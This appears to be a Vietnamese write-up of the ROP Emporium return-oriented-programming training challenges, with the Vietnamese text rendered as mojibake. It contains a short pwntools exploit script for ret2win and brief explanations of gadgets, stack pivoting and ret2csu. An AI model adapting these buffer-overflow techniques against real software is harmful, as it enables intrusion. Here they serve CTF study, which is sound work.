Page cover

๐Ÿค–ROP Emporium - Full

Ret2Win

file-archive
3KB

Chฦฐฦกng trรฌnh cรณ vร i biแป‡n phรกp ฤ‘แปƒ trรกnh attacker cรณ thแปƒ sแปญ dแปฅng elf.sym["<symbol>"]. Payload nhฦฐ sau:

from pwn import *

elf = ELF("./ret2win")
r = elf.process()
gdb.attach(r, api = True)
payload = cyclic(40) + p64(0x000000000040075a) <--- ret to puts of ret2win()

r.sendline(payload)
r.interactive()

Done

Link walkthrought แปŸ ฤ‘รขyarrow-up-right.

+--------------------------------------------------------------------------------------------+

Split

file-archive
3KB
archive

Done

Link walkthrought แปŸ ฤ‘รขyarrow-up-right.

+--------------------------------------------------------------------------------------------+

Callme

file-archive
7KB
archive

Done

Link walkthrought แปŸ ฤ‘รขyarrow-up-right.

+--------------------------------------------------------------------------------------------+

Write4

file-archive
6KB
archive

Done

Link walkthrought แปŸ ฤ‘รขyarrow-up-right.

+--------------------------------------------------------------------------------------------+

Badchars

file-archive
6KB

Done

Link walkthrought แปŸ ฤ‘รขy.

+--------------------------------------------------------------------------------------------+

Fluff

Assembly- Intruction

  • xlat BYTE PTR ds:[rbx]

Instruction nร y cรณ chแปฉc nฤƒng ฤ‘แปc vร  ghi dแปฏ liแป‡u (byte) tแปซ ฤ‘แป‹a chแป‰ bแป™ nhแป› [rbx + al]vร o thanh ghi al

  • bextr rbx,rcx,rdx

Instruction nร y cรณ chแปฉc nฤƒng sao chรฉp dแปฏ liแป‡u tแปซ thanh ghi rcx sang thanh ghi ฤ‘รญch rbxvแป›i ฤ‘แป™ bร i bit lร  thanh ghi rdx.

  • stos BYTE PTR es:[rdi],al

Instruction nร y cรณ chแปฉc nฤƒng lฦฐu giรก trแป‹ cแปงa thanh ghi al vร o [rdi] sau ฤ‘รณ tฤƒng rdi lรชn 1 ฤ‘ฦกn vแป‹.

Done

Pivot (release Stack Pivoting)

Source

file-archive
8KB
archive

Cรกch 1:

Cรกch 2:

Nhแบญn xรฉt:

  • ฤแป bร i tuy lร  bai vแป‘t nhฦฐng mร  cรกch thแปฉ 2 khรดng hแป bai vแป‘t nhฦฐng vแบซn ra trong khi ฤ‘รณ cรกch 1 lร m theo pivot thรฌ dร i vch ๐Ÿฅฒ.

  • Bร i nร y thแปฑc ra cรฒn 1 cรกch nแปฏa nhฦฐng mร  mรฌnh bรณ tay, dร i v + lฦฐแปi @@

Ret2Csu

Hiแปƒu ฤ‘ฦกn giแบฃn thรฌ kฤฉ thuแบญt nร y sแบฝ ฤ‘ฦฐแปฃc sแปญ dแปฅng khi trong file nhแป‹ phรขn bแป‹ thiแบฟu cรกc gadget quan trแปng nhฦฐ:

Giแป‘ng nhฦฐ trฦฐแปng hแปฃp dฦฐแป›i ฤ‘รขy tรดi chแป‰ thแบฅy ฤ‘ฦฐแปฃc 2 gadget sau:

Nแบฟu chฦฐฦกng trรฌnh cแบงn truyแปn vร o 3 tham sแป‘ thรฌ sแป‘ gadget chรบng ta thแบฅy แปŸ ฤ‘รขy khรดng thแปƒ ฤ‘แปง. Do ฤ‘รณ kฤฉ thuแบญt ret2csu hay ret to __libc_csu_init ra ฤ‘แปi. Kแปน thuแบญt nร y sแบฝ sแปญ dแปฅng cรกc gadget bรชn dฦฐแป›i ฤ‘รขy ฤ‘แปƒ cรณ thแปƒ truyแปn tham sแป‘ cho thanh ghi rdx.

แปž trฦฐแปng hแปฃp nร y thรฌ cรกc bแบกn cรณ thแปƒ pop r15 trฦฐแป›c xong sแบฝ mov tแปซ rdx sang r15.

ฤรณ lร  ฤ‘รดi chรบt kiแบฟn thแปฉc cฦก bแบฃn ฤ‘แปƒ bแบกn cรณ thแปƒ sแปญ dแปฅng nhแปฏng gadget nร y ฤ‘แปƒ thay ฤ‘แป•i giรก trแป‹ cแปงa 3 parameters.

Solution

Ta cรณ nhแปฏng giรก trแป‹ sau ฤ‘รขy cแบงn cho viแป‡c khai thรกc.

Vร  tแบฅt nhiรชn ฤ‘แปƒ trรกnh viแป‡c bแป‹ lแป—i khi cรกc thanh ghi biแบฟn bแป‹ thay ฤ‘แป•i khi ta ret nรณ tแปซ ฤ‘แบงu hร m usefulFunction thรฌ ฤ‘แป‹a chแป‰ chรบng ta sแบฝ return lร : 0x000000000040062a

Giai ฤ‘oแบกn cแปงa nรณ tรดi ฤ‘รฃ minh hแปa qua cรกc mลฉi tรชn.

Cรณ 1 vแบฅn ฤ‘แป nแปฏa แปŸ ฤ‘รขy ฤ‘รณ lร  lแป‡nh nร y:

แปŸ ฤ‘รขy bแบกn chแป‰ cแบงn tรญnh toรกn sao cho r12 + rbx*8 = ฤ‘แป‹a chแป‰ nร o ฤ‘รณ. Nแบฟu bแบกn tรฒ mรฒ 1 xรญu bแบกn cรณ thแปƒ thแบฅy hร m _init bรชn trรชn khรดng lร m thay ฤ‘แป•i bแบฅt cแปฉ thanh ghi nร o liรชn quan:

vร  cรขu lแป‡nh nร y: . ฤแปƒ jne khรดng xแบฃy ra thรฌ phแบฃi ฤ‘แปƒ cho rbp vร  rbx cรณ giรก trแป‹ bแบฑng nhau tแปฉc lร  trฦฐแป›c ฤ‘รณ bแบกn nรชn trแปซ rbx trฦฐแป›c khi gแปญi nรณ lรชn stack.

Mรฌnh sแบฝ cover lแบกi quรก trรฌnh ฤ‘แบฉy giรก trแป‹ lรชn stack ฤ‘แปƒ nรณ cรณ thแปƒ thay ฤ‘แป•i ฤ‘ฦฐแปฃc 3 giรก trแป‹.

Vร  ฤ‘รขy lร  stack thแบญt sแปฑ sau khi gแปญi payload:

*Nรณ cรณ 1 vร i sai sแป‘ xรญu do mรฌnh ngแบกi sแปญa payload ban ฤ‘แบงu

Nch lร  vแบซn oke.

Done

Last updated